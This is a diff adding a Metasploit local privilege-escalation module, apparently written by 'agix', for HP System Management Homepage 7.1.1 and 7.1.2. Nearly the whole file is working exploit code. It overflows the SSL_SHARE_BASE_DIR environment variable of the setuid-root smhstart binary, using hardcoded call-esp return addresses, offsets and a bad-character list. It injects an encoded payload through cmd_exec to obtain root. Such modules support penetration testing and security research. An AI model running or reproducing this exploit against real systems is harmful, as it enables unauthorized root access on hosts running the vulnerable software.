hpsmh smhstart local exploit BOF

Author: agix

modules/exploits/linux/local/hp_smhstart.rb

@@ -0,0 +1,89 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/common'
+require 'msf/core/post/file'
+require 'msf/core/post/linux/priv'
+require 'msf/core/exploit/local/linux_kernel'
+require 'msf/core/exploit/local/linux'
+require 'msf/core/exploit/local/unix'
+require 'msf/core/exploit/exe'
+
+#load 'lib/msf/core/post/file.rb'
+#load 'lib/msf/core/exploit/local/unix.rb'
+#load 'lib/msf/core/exploit/local/linux.rb'
+#load 'lib/msf/core/exploit/local/linux_kernel.rb'
+
+class Metasploit4 < Msf::Exploit::Local
+
+	include Msf::Exploit::EXE
+	include Msf::Post::File
+	include Msf::Post::Common
+
+	include Msf::Exploit::Local::Linux
+
+	def initialize(info={})
+		super( update_info( info, {
+				'Name'          => 'HP System Management Homepage Local Privilege Escalation',
+				'Description'   => %q{
+					Versions of hpsmh <= 7.1.1 setuid root smhstart is vulnerable to local buffer overflow in SSL_SHARE_BASE_DIR env variable.
+				},
+				'License'       => MSF_LICENSE,
+				'Author'        =>
+					[
+						'agix'           #@agixid
+					],
+				'Platform'      => [ 'linux' ],
+				'Arch'          => [ ARCH_X86 ],
+				'SessionTypes'  => [ 'shell', 'meterpreter' ],
+				'Payload'		=>
+					{
+						'Space'     => 227,
+						'BadChars' 	=> "\x00\x22"
+					},
+				'References'    =>
+					[
+						['OSVDB', '91812'] #not exactly but there is none...
+					],
+				'Targets'       =>
+					[
+						[ 'Hpsmh 7.1.1',
+							{
+								'Arch' => ARCH_X86,
+								'CallEsp' => 0x080c86eb,	#call esp
+								'Offset' => 64
+							}
+						],
+						[ 'Hpsmh 7.1.2',
+							{
+								'Arch' => ARCH_X86,
+								'CallEsp' => 0x080c8b9b,	#call esp
+								'Offset' => 64
+							}
+						],
+					],
+				'DefaultTarget' => 0,
+				'DisclosureDate' => "Mar 30 2013",
+			}
+			))
+		register_options([
+				OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])
+			], self.class)
+	end
+
+	def exploit
+		pl = payload.encoded
+		padding = rand_text_alpha(target['Offset'])
+		ret = [target['CallEsp']].pack('V')
+		exploit = Rex::Text.encode_base64("#{pl}#{ret}\xe8\x14\xff\xff\xff#{padding}")
+		cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit}' | base64 -d)")
+		puts cmd_exec("#{datastore['smhstartDir']}/smhstart")
+	end
+
+end